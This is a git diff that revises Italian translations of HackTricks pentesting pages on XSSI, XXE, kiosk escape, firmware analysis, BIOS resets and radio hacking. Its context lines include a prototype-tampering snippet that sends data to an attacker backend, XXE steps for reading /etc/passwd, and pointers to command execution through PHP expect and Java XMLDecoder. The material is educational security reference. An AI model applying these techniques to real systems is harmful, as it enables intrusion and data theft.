alert(JSON.stringify(leaked)) ``` -Per le variabili che non risiedono nello spazio dei nomi globale, _prototype tampering_ può a volte essere sfruttato. Questa tecnica sfrutta il design di JavaScript, dove l'interpretazione del codice comporta la traversata della catena del prototipo per localizzare la proprietà chiamata. Sovrascrivendo determinate funzioni, come `Array`'s `slice`, gli attaccanti possono accedere e leakare variabili non globali: +Per le variabili che non risiedono nello spazio dei nomi globale, _prototype tampering_ può a volte essere sfruttato. Questa tecnica sfrutta il design di JavaScript, dove l'interpretazione del codice comporta la traversata della catena di prototipi per localizzare la proprietà chiamata. Sovrascrivendo determinate funzioni, come `Array`'s `slice`, gli attaccanti possono accedere e leakare variabili non globali: ```javascript Array.prototype.slice = function () { // leaks ["secret1", "secret2", "secret3"] sendToAttackerBackend(this) } ``` -Ulteriori dettagli sugli attacchi possono essere trovati nel lavoro del ricercatore di sicurezza [Sebastian Lekies](https://twitter.com/slekies), che mantiene un elenco di [vettori](http://sebastian-lekies.de/leak/). +Ulteriori dettagli sugli attacchi possono essere trovati nel lavoro del Ricercatore di Sicurezza [Sebastian Lekies](https://twitter.com/slekies), che mantiene un elenco di [vettori](http://sebastian-lekies.de/leak/). ### Non-Script-XSSI -La ricerca di Takeshi Terada introduce un'altra forma di XSSI, in cui i file Non-Script, come CSV, vengono leakati cross-origin includendoli come sorgenti in un tag `script`. I casi storici di XSSI, come l'attacco del 2006 di Jeremiah Grossman per leggere un intero rubrica di Google e il leak di dati JSON di Joe Walker nel 2007, evidenziano la gravità di queste minacce. Inoltre, Gareth Heyes descrive una variante di attacco che coinvolge JSON codificato in UTF-7 per sfuggire al formato JSON ed eseguire script, efficace in alcuni browser: +La ricerca di Takeshi Terada introduce un'altra forma di XSSI, in cui i file Non-Script, come CSV, vengono leakati cross-origin venendo inclusi come sorgenti in un tag `script`. I casi storici di XSSI, come l'attacco di Jeremiah Grossman del 2006 per leggere un intero rubrica di Google e il leak di dati JSON di Joe Walker del 2007, evidenziano la gravità di queste minacce. Inoltre, Gareth Heyes descrive una variante di attacco che coinvolge JSON codificato in UTF-7 per sfuggire al formato JSON ed eseguire script, efficace in alcuni browser: ```javascript ;[ { diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 00fe17d81..15a30eb1b 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -19,7 +19,7 @@ XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei [**La maggior parte di questi attacchi è stata testata utilizzando i fantastici laboratori XEE di Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) -### Test di Nuova Entità +### Test Nuova Entità In questo attacco testerò se una semplice dichiarazione di nuova ENTITÀ funziona. ```xml @@ -128,7 +128,7 @@ Questo payload definisce un'entità parametro XML `%xxe` e la incorpora all'inte **In questo caso faremo in modo che il server carichi un DTD malevolo che mostrerà il contenuto di un file all'interno di un messaggio di errore (questo è valido solo se puoi vedere i messaggi di errore).** [**Esempio da qui.**](https://portswigger.net/web-security/xxe/blind) -Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/passwd`, può essere attivato utilizzando un Document Type Definition (DTD) esterno malevolo. Questo viene realizzato attraverso i seguenti passaggi: +Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/passwd`, può essere attivato utilizzando un Documento di Tipo Esterno (DTD) malevolo. Questo viene realizzato attraverso i seguenti passaggi: 1. Viene definita un'entità parametro XML chiamata `file`, che contiene i contenuti del file `/etc/passwd`. 2. Viene definita un'entità parametro XML chiamata `eval`, incorporando una dichiarazione dinamica per un'altra entità parametro XML chiamata `error`. Questa entità `error`, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità `file` come suo nome. @@ -151,7 +151,7 @@ _**Si prega di notare che il DTD esterno ci consente di includere un'entità all E per quanto riguarda le vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)? -Una scappatoia nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errori. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili. +Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errore. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili. Considera uno scenario in cui il filesystem del server contiene un file DTD in `/usr/local/app/schema.dtd`, che definisce un'entità chiamata `custom_entity`. Un attaccante può indurre un errore di parsing XML rivelando il contenuto del file `/etc/passwd` inviando un DTD ibrido come segue: ```xml @@ -170,7 +170,7 @@ I passaggi delineati sono eseguiti da questo DTD: - La definizione di un'entità parametro XML chiamata `local_dtd` include il file DTD esterno situato nel filesystem del server. - Si verifica una ridefinizione per l'entità parametro XML `custom_entity`, originariamente definita nel DTD esterno, per racchiudere un [exploit XXE basato su errore](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Questa ridefinizione è progettata per provocare un errore di parsing, esponendo il contenuto del file `/etc/passwd`. -- Utilizzando l'entità `local_dtd`, il DTD esterno viene attivato, comprendendo la nuova entità definita `custom_entity`. Questa sequenza di azioni provoca l'emissione del messaggio di errore previsto dall'exploit. +- Utilizzando l'entità `local_dtd`, il DTD esterno viene attivato, comprendendo la nuova entità definita `custom_entity`. Questa sequenza di azioni provoca l'emissione del messaggio di errore mirato dall'exploit. **Esempio del mondo reale:** I sistemi che utilizzano l'ambiente desktop GNOME hanno spesso un DTD in `/usr/share/yelp/dtd/docbookx.dtd` contenente un'entità chiamata `ISOamso`. ```xml @@ -189,7 +189,7 @@ I passaggi delineati sono eseguiti da questo DTD: ``` ![](<../images/image (625).png>) -Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne prima uno valido**. Puoi farlo **installando** lo stesso **SO / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **verificando** se qualcuno di essi esiste: +Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne uno valido prima**. Puoi farlo **installando** lo stesso **SO / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **verificando** se qualcuno di essi esiste: ```xml @@ -234,7 +234,7 @@ Ora, il file creato può essere caricato nell'applicazione web potenzialmente vu ### Jar: protocollo -Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), soddisfacendo sia i file locali che remoti. +Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), per file sia locali che remoti. ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt @@ -321,13 +321,13 @@ Controlla [https://portswigger.net/web-security/xxe](https://portswigger.net/web I file caricati dagli utenti su determinate applicazioni, che vengono poi elaborati sul server, possono sfruttare vulnerabilità nel modo in cui vengono gestiti i file XML o i formati di file contenenti XML. Formati di file comuni come documenti di office (DOCX) e immagini (SVG) si basano su XML. -Quando gli utenti **caricano immagini**, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la **libreria di elaborazione delle immagini del server potrebbe supportare anche immagini SVG**. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity). +Quando gli utenti **caricano immagini**, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la **libreria di elaborazione delle immagini del server potrebbe supportare anche le immagini SVG**. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity). Un esempio di tale exploit è mostrato di seguito, dove un'immagine SVG dannosa tenta di leggere file di sistema: ```xml ``` -Un altro metodo prevede di **eseguire comandi** tramite il wrapper PHP "expect": +Un altro metodo prevede di **eseguire comandi** attraverso il wrapper PHP "expect": ```xml @@ -479,7 +479,7 @@ XLIFF (XML Localization Interchange File Format) è utilizzato per standardizzar ### Analisi della Richiesta Cieca -Una richiesta viene inviata al server con il seguente contenuto: +Viene effettuata una richiesta al server con il seguente contenuto: ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -606,11 +606,11 @@ Utilizzando il filtro base64 di PHP ``` -## Java XMLDecoder XEE to RCE +## Java XMLDecoder XEE a RCE XMLDecoder è una classe Java che crea oggetti basati su un messaggio XML. Se un utente malintenzionato riesce a far utilizzare a un'applicazione dati arbitrari in una chiamata al metodo **readObject**, otterrà immediatamente l'esecuzione di codice sul server. -### Using Runtime().exec() +### Utilizzando Runtime().exec() ```xml diff --git a/src/physical-attacks/escaping-from-gui-applications/README.md b/src/physical-attacks/escaping-from-gui-applications/README.md index 8b0fc132e..fde3cced6 100644 --- a/src/physical-attacks/escaping-from-gui-applications/README.md +++ b/src/physical-attacks/escaping-from-gui-applications/README.md @@ -39,238 +39,11 @@ _bash, sh, zsh..._ Maggiori informazioni qui: [https://gtfobins.github.io/](http - **Collegamenti simbolici** - **Scorciatoie**: CTRL+N (apri nuova sessione), CTRL+R (Esegui comandi), CTRL+SHIFT+ESC (Gestione attività), Windows+E (apri explorer), CTRL-B, CTRL-I (Preferiti), CTRL-H (Cronologia), CTRL-L, CTRL-O (File/Dialogo di apertura), CTRL-P (Dialogo di stampa), CTRL-S (Salva con nome) - Menu amministrativo nascosto: CTRL-ALT-F8, CTRL-ESC-F9 -- **Shell URIs**: _shell:Strumenti amministrativi, shell:Libreria documenti, shell:Librerie, shell:Profili utente, shell:Personale, shell:Cerca nella cartella home, shell:Posti di rete, shell:Invia a, shell:Profili utenti, shell:Strumenti amministrativi comuni, shell:Cartella Il mio computer, shell:Cartella Internet_ +- **Shell URIs**: _shell:Strumenti amministrativi, shell:Libreria documenti, shell:Librerie, shell:Profili utente, shell:Personale, shell:Cerca nella cartella home, shell:Posti di rete, shell:Invia a, shell:Profili utenti, shell:Strumenti amministrativi comuni, shell:Cartella computer, shell:Cartella Internet_ - **Percorsi UNC**: Percorsi per connettersi a cartelle condivise. Dovresti provare a connetterti al C$ della macchina locale ("\\\127.0.0.1\c$\Windows\System32") - **Altri percorsi UNC:** | UNC | UNC | UNC | | ------------------------- | -------------- | -------------------- | | %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% | -| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% | -| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% | -| %LOGONSERVER% | %PATH% | %PATHEXT% | -| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% | -| %PROMPT% | %PSModulePath% | %Public% | -| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% | -| %TMP% | %USERDOMAIN% | %USERNAME% | -| %USERPROFILE% | %WINDIR% | | - -## Scarica i tuoi binari - -Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ -Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ -Editor del registro: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) - -## Accesso al filesystem dal browser - -| PATH | PATH | PATH | PATH | -| ------------------- | ----------------- | ------------------ | ------------------- | -| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows | -| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ | -| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ | -| C:/windows | C:/windows/ | C:/windows\\ | C:\windows | -| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% | -| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | -| %HOMEDRIVE% | %HOMESHARE | |


| - -## Scorciatoie - -- Sticky Keys – Premi SHIFT 5 volte -- Mouse Keys – SHIFT+ALT+NUMLOCK -- High Contrast – SHIFT+ALT+PRINTSCN -- Toggle Keys – Tieni premuto NUMLOCK per 5 secondi -- Filter Keys – Tieni premuto SHIFT destro per 12 secondi -- WINDOWS+F1 – Ricerca di Windows -- WINDOWS+D – Mostra desktop -- WINDOWS+E – Avvia Windows Explorer -- WINDOWS+R – Esegui -- WINDOWS+U – Centro accessibilità -- WINDOWS+F – Cerca -- SHIFT+F10 – Menu contestuale -- CTRL+SHIFT+ESC – Gestione attività -- CTRL+ALT+DEL – Schermata di avvio nelle versioni più recenti di Windows -- F1 – Aiuto F3 – Cerca -- F6 – Barra degli indirizzi -- F11 – Attiva/disattiva schermo intero in Internet Explorer -- CTRL+H – Cronologia di Internet Explorer -- CTRL+T – Internet Explorer – Nuova scheda -- CTRL+N – Internet Explorer – Nuova pagina -- CTRL+O – Apri file -- CTRL+S – Salva CTRL+N – Nuovo RDP / Citrix - -## Swipe - -- Scorri dal lato sinistro verso destra per vedere tutte le finestre aperte, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo; -- Scorri dal lato destro verso sinistra per aprire il Centro operativo, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo; -- Scorri dal bordo superiore per rendere visibile la barra del titolo per un'app aperta in modalità schermo intero; -- Scorri verso l'alto dal basso per mostrare la barra delle applicazioni in un'app a schermo intero. - -## Trucchi di Internet Explorer - -### 'Image Toolbar' - -È una barra degli strumenti che appare in alto a sinistra dell'immagine quando viene cliccata. Sarai in grado di Salvare, Stampare, Inviare per email, Aprire "Le mie immagini" in Explorer. Il Kiosk deve utilizzare Internet Explorer. - -### Protocollo Shell - -Digita questi URL per ottenere una vista di Explorer: - -- `shell:Strumenti amministrativi` -- `shell:Libreria documenti` -- `shell:Librerie` -- `shell:Profili utente` -- `shell:Personale` -- `shell:Cerca nella cartella home` -- `shell:Posti di rete` -- `shell:Invia a` -- `shell:Profili utenti` -- `shell:Strumenti amministrativi comuni` -- `shell:Cartella Il mio computer` -- `shell:Cartella Internet` -- `Shell:Profilo` -- `Shell:Programmi` -- `Shell:Sistema` -- `Shell:Pannello di controllo` -- `Shell:Windows` -- `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Pannello di controllo -- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Il mio computer -- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Le mie posizioni di rete -- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer - -## Mostra estensioni dei file - -Controlla questa pagina per ulteriori informazioni: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) - -# Trucchi dei browser - -Backup delle versioni iKat: - -[http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\ - -Crea un dialogo comune utilizzando JavaScript e accedi all'esplora file: `document.write('')` -Fonte: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 - -# iPad - -## Gesture e pulsanti - -- Scorri verso l'alto con quattro (o cinque) dita / Tocca due volte il pulsante Home: Per visualizzare la vista multitasking e cambiare app - -- Scorri in un modo o nell'altro con quattro o cinque dita: Per cambiare all'app successiva/precedente - -- Pizzica lo schermo con cinque dita / Tocca il pulsante Home / Scorri verso l'alto con 1 dito dal fondo dello schermo in un movimento rapido verso l'alto: Per accedere alla Home - -- Scorri un dito dal fondo dello schermo per solo 1-2 pollici (lento): Apparirà il dock - -- Scorri verso il basso dalla parte superiore del display con 1 dito: Per visualizzare le tue notifiche - -- Scorri verso il basso con 1 dito nell'angolo in alto a destra dello schermo: Per vedere il centro di controllo dell'iPad Pro - -- Scorri 1 dito dal lato sinistro dello schermo per 1-2 pollici: Per vedere la vista Oggi - -- Scorri rapidamente 1 dito dal centro dello schermo verso destra o sinistra: Per cambiare all'app successiva/precedente - -- Tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad +** Sposta il cursore per **spegnere** tutto a destra: Per spegnere - -- Tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad e il pulsante Home per alcuni secondi**: Per forzare uno spegnimento completo - -- Tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad e il pulsante Home rapidamente**: Per fare uno screenshot che apparirà in basso a sinistra del display. Premi entrambi i pulsanti contemporaneamente molto brevemente, poiché se li tieni premuti per alcuni secondi verrà eseguito uno spegnimento completo. - -## Scorciatoie - -Dovresti avere una tastiera per iPad o un adattatore per tastiera USB. Solo le scorciatoie che potrebbero aiutare a uscire dall'applicazione saranno mostrate qui. - -| Tasto | Nome | -| --- | ------------ | -| ⌘ | Comando | -| ⌥ | Opzione (Alt) | -| ⇧ | Shift | -| ↩ | Ritorna | -| ⇥ | Tab | -| ^ | Controllo | -| ← | Freccia sinistra | -| → | Freccia destra | -| ↑ | Freccia su | -| ↓ | Freccia giù | - -### Scorciatoie di sistema - -Queste scorciatoie sono per le impostazioni visive e sonore, a seconda dell'uso dell'iPad. - -| Scorciatoia | Azione | -| -------- | ------------------------------------------------------------------------------ | -| F1 | Abbassa la luminosità dello schermo | -| F2 | Aumenta la luminosità dello schermo | -| F7 | Torna a una canzone | -| F8 | Riproduci/metti in pausa | -| F9 | Salta canzone | -| F10 | Mute | -| F11 | Diminuisci il volume | -| F12 | Aumenta il volume | -| ⌘ Space | Visualizza un elenco delle lingue disponibili; per sceglierne una, tocca di nuovo la barra spaziatrice. | - -### Navigazione su iPad - -| Scorciatoia | Azione | -| -------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | Vai alla Home | -| ⌘⇧H (Comando-Shift-H) | Vai alla Home | -| ⌘ (Space) | Apri Spotlight | -| ⌘⇥ (Comando-Tab) | Elenca le ultime dieci app utilizzate | -| ⌘\~ | Vai all'ultima app | -| ⌘⇧3 (Comando-Shift-3) | Screenshot (si ferma in basso a sinistra per salvare o agire su di esso) | -| ⌘⇧4 | Screenshot e aprilo nell'editor | -| Tieni premuto ⌘ | Elenco delle scorciatoie disponibili per l'app | -| ⌘⌥D (Comando-Opzione/Alt-D) | Mostra il dock | -| ^⌥H (Controllo-Opzione-H) | Pulsante Home | -| ^⌥H H (Controllo-Opzione-H-H) | Mostra la barra multitasking | -| ^⌥I (Controllo-Opzione-i) | Selettore di elementi | -| Escape | Pulsante Indietro | -| → (Freccia destra) | Prossimo elemento | -| ← (Freccia sinistra) | Elemento precedente | -| ↑↓ (Freccia su, Freccia giù) | Tocca simultaneamente l'elemento selezionato | -| ⌥ ↓ (Opzione-Freccia giù) | Scorri verso il basso | -| ⌥↑ (Opzione-Freccia su) | Scorri verso l'alto | -| ⌥← o ⌥→ (Opzione-Freccia sinistra o Opzione-Freccia destra) | Scorri a sinistra o a destra | -| ^⌥S (Controllo-Opzione-S) | Attiva o disattiva la sintesi vocale | -| ⌘⇧⇥ (Comando-Shift-Tab) | Passa all'app precedente | -| ⌘⇥ (Comando-Tab) | Torna all'app originale | -| ←+→, poi Opzione + ← o Opzione+→ | Naviga attraverso il Dock | - -### Scorciatoie di Safari - -| Scorciatoia | Azione | -| ----------------------- | ------------------------------------------------ | -| ⌘L (Comando-L) | Apri posizione | -| ⌘T | Apri una nuova scheda | -| ⌘W | Chiudi la scheda corrente | -| ⌘R | Aggiorna la scheda corrente | -| ⌘. | Ferma il caricamento della scheda corrente | -| ^⇥ | Passa alla scheda successiva | -| ^⇧⇥ (Controllo-Shift-Tab) | Passa alla scheda precedente | -| ⌘L | Seleziona il campo di input/testo URL per modificarlo | -| ⌘⇧T (Comando-Shift-T) | Apri l'ultima scheda chiusa (può essere utilizzata più volte) | -| ⌘\[ | Torna indietro di una pagina nella cronologia di navigazione | -| ⌘] | Avanza di una pagina nella cronologia di navigazione | -| ⌘⇧R | Attiva la modalità lettore | - -### Scorciatoie di Mail - -| Scorciatoia | Azione | -| -------------------------- | ---------------------------- | -| ⌘L | Apri posizione | -| ⌘T | Apri una nuova scheda | -| ⌘W | Chiudi la scheda corrente | -| ⌘R | Aggiorna la scheda corrente | -| ⌘. | Ferma il caricamento della scheda | -| ⌘⌥F (Comando-Opzione/Alt-F) | Cerca nella tua casella di posta | - -# Riferimenti - -- [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html) -- [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html) -- [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/) -- [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html) - -{{#include ../../banners/hacktricks-training.md}} +| %COMMONPROGRAMFILES(x86)% | %COMPUT diff --git a/src/physical-attacks/firmware-analysis/README.md b/src/physical-attacks/firmware-analysis/README.md index 37b0a7180..a35411e81 100644 --- a/src/physical-attacks/firmware-analysis/README.md +++ b/src/physical-attacks/firmware-analysis/README.md @@ -15,11 +15,11 @@ Il firmware è un software essenziale che consente ai dispositivi di funzionare - Layout hardware e schede tecniche - Metriche del codice sorgente e posizioni - Librerie esterne e tipi di licenza -- Storico degli aggiornamenti e certificazioni normative +- Storie degli aggiornamenti e certificazioni normative - Diagrammi architettonici e di flusso - Valutazioni di sicurezza e vulnerabilità identificate -A questo scopo, gli strumenti di **intelligence open-source (OSINT)** sono inestimabili, così come l'analisi di eventuali componenti software open-source disponibili attraverso processi di revisione manuale e automatizzati. Strumenti come [Coverity Scan](https://scan.coverity.com) e [Semmle’s LGTM](https://lgtm.com/#explore) offrono analisi statica gratuita che possono essere sfruttate per trovare potenziali problemi. +A questo scopo, gli strumenti di **intelligence open-source (OSINT)** sono inestimabili, così come l'analisi di eventuali componenti software open-source disponibili attraverso processi di revisione manuale e automatizzata. Strumenti come [Coverity Scan](https://scan.coverity.com) e [Semmle’s LGTM](https://lgtm.com/#explore) offrono analisi statica gratuita che può essere sfruttata per trovare potenziali problemi. ## **Acquisire il Firmware** @@ -34,7 +34,7 @@ Ottenere il firmware può essere affrontato attraverso vari mezzi, ognuno con il - **Estraendo** dal dispositivo attraverso connessioni come **UART**, **JTAG** o **PICit** - **Sniffando** le richieste di aggiornamento all'interno della comunicazione del dispositivo - Identificando e utilizzando **endpoint di aggiornamento hardcoded** -- **Dumpando** dal bootloader o dalla rete +- **Dumping** dal bootloader o dalla rete - **Rimuovendo e leggendo** il chip di memoria, quando tutto il resto fallisce, utilizzando strumenti hardware appropriati ## Analizzare il firmware @@ -77,7 +77,7 @@ DECIMAL HEXADECIMAL DESCRIPTION 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41 ``` -Esegui il seguente **comando dd** per estrarre il filesystem Squashfs. +Esegui il seguente **dd command** per estrarre il filesystem Squashfs. ``` $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs @@ -87,7 +87,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs 8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s ``` -In alternativa, è possibile eseguire il seguente comando. +In alternativa, il seguente comando potrebbe essere eseguito. `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` @@ -128,7 +128,7 @@ fdisk -lu #lists partitions and filesystems, if there are multiple ``` Per valutare lo stato della crittografia dell'immagine, si controlla l'**entropia** con `binwalk -E `. Un'entropia bassa suggerisce una mancanza di crittografia, mentre un'entropia alta indica una possibile crittografia o compressione. -Per estrarre i **file incorporati**, si raccomandano strumenti e risorse come la documentazione **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file. +Per estrarre i **file incorporati**, si raccomandano strumenti e risorse come la documentazione di **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file. ### Estrazione del Filesystem @@ -152,7 +152,7 @@ Con il filesystem estratto, inizia la ricerca di vulnerabilità di sicurezza. Si - Binari incorporati per ulteriori analisi - Server web e binari comuni dei dispositivi IoT -Diverse strumenti assistono nel rivelare informazioni sensibili e vulnerabilità all'interno del filesystem: +Diverse strumenti aiutano a scoprire informazioni sensibili e vulnerabilità all'interno del filesystem: - [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) e [**Firmwalker**](https://github.com/craigz28/firmwalker) per la ricerca di informazioni sensibili - [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) per un'analisi completa del firmware @@ -166,7 +166,7 @@ Sia il codice sorgente che i binari compilati trovati nel filesystem devono esse Il processo di emulazione del firmware consente un'**analisi dinamica** sia del funzionamento di un dispositivo che di un singolo programma. Questo approccio può incontrare sfide con dipendenze hardware o architetturali, ma trasferire il filesystem root o binari specifici su un dispositivo con architettura e endianness corrispondenti, come un Raspberry Pi, o su una macchina virtuale pre-costruita, può facilitare ulteriori test. -### Emulazione di Binari Singoli +### Emulazione di Singoli Binari Per esaminare singoli programmi, è cruciale identificare l'endianness e l'architettura CPU del programma. diff --git a/src/physical-attacks/firmware-analysis/bootloader-testing.md b/src/physical-attacks/firmware-analysis/bootloader-testing.md index 309eaed1a..cac8fcd27 100644 --- a/src/physical-attacks/firmware-analysis/bootloader-testing.md +++ b/src/physical-attacks/firmware-analysis/bootloader-testing.md @@ -36,7 +36,7 @@ I seguenti passaggi sono raccomandati per modificare le configurazioni di avvio - Verifica se le funzionalità di debug come il logging dettagliato, il caricamento di kernel arbitrari o l'avvio da fonti non affidabili sono abilitate. -6. **Interferenza Hardware Cautelosa**: +6. **Interferenza Hardware Cautelativa**: - Fai attenzione quando colleghi un pin a terra e interagisci con chip SPI o NAND flash durante la sequenza di avvio del dispositivo, in particolare prima che il kernel si decomprima. Consulta il datasheet del chip NAND flash prima di cortocircuitare i pin. diff --git a/src/physical-attacks/physical-attacks.md b/src/physical-attacks/physical-attacks.md index 0576caba8..eaaa114e2 100644 --- a/src/physical-attacks/physical-attacks.md +++ b/src/physical-attacks/physical-attacks.md @@ -6,7 +6,7 @@ **Ripristinare il BIOS** può essere realizzato in diversi modi. La maggior parte delle schede madri include una **batteria** che, se rimossa per circa **30 minuti**, ripristinerà le impostazioni del BIOS, inclusa la password. In alternativa, un **jumper sulla scheda madre** può essere regolato per ripristinare queste impostazioni collegando pin specifici. -Per situazioni in cui le regolazioni hardware non sono possibili o pratiche, **strumenti software** offrono una soluzione. Eseguire un sistema da un **Live CD/USB** con distribuzioni come **Kali Linux** fornisce accesso a strumenti come **_killCmos_** e **_CmosPWD_**, che possono assistere nel recupero della password del BIOS. +Per situazioni in cui le regolazioni hardware non sono possibili o pratiche, gli **strumenti software** offrono una soluzione. Eseguire un sistema da un **Live CD/USB** con distribuzioni come **Kali Linux** fornisce accesso a strumenti come **_killCmos_** e **_CmosPWD_**, che possono assistere nel recupero della password del BIOS. Nei casi in cui la password del BIOS è sconosciuta, inserirla in modo errato **tre volte** di solito comporta un codice di errore. Questo codice può essere utilizzato su siti web come [https://bios-pw.org](https://bios-pw.org) per potenzialmente recuperare una password utilizzabile. diff --git a/src/radio-hacking/README.md b/src/radio-hacking/README.md index 1838ad184..6db785956 100644 --- a/src/radio-hacking/README.md +++ b/src/radio-hacking/README.md @@ -1 +1 @@ -# Radio Hacking +# Hacking Radio diff --git a/src/radio-hacking/low-power-wide-area-network.md b/src/radio-hacking/low-power-wide-area-network.md index ad6ba8d4f..7cc6e27e4 100644 --- a/src/radio-hacking/low-power-wide-area-network.md +++ b/src/radio-hacking/low-power-wide-area-network.md @@ -4,7 +4,7 @@ ## Introduzione -**Rete a Larga Area a Basso Consumo** (LPWAN) è un gruppo di tecnologie wireless, a basso consumo, per reti a larga area progettate per **comunicazioni a lungo raggio** a bassa velocità di trasmissione.\ +**Rete a Larga Area a Basso Consumo** (LPWAN) è un gruppo di tecnologie di rete wireless, a basso consumo, progettate per **comunicazioni a lungo raggio** a bassa velocità di trasmissione.\ Possono raggiungere più di **sei miglia** e le loro **batterie** possono durare fino a **20 anni**. Long Range (**LoRa**) è popolare in diversi paesi e ha una specifica open source chiamata **LoRaWAN**. diff --git a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md index aaaa4b406..a51c0c9f8 100644 --- a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ 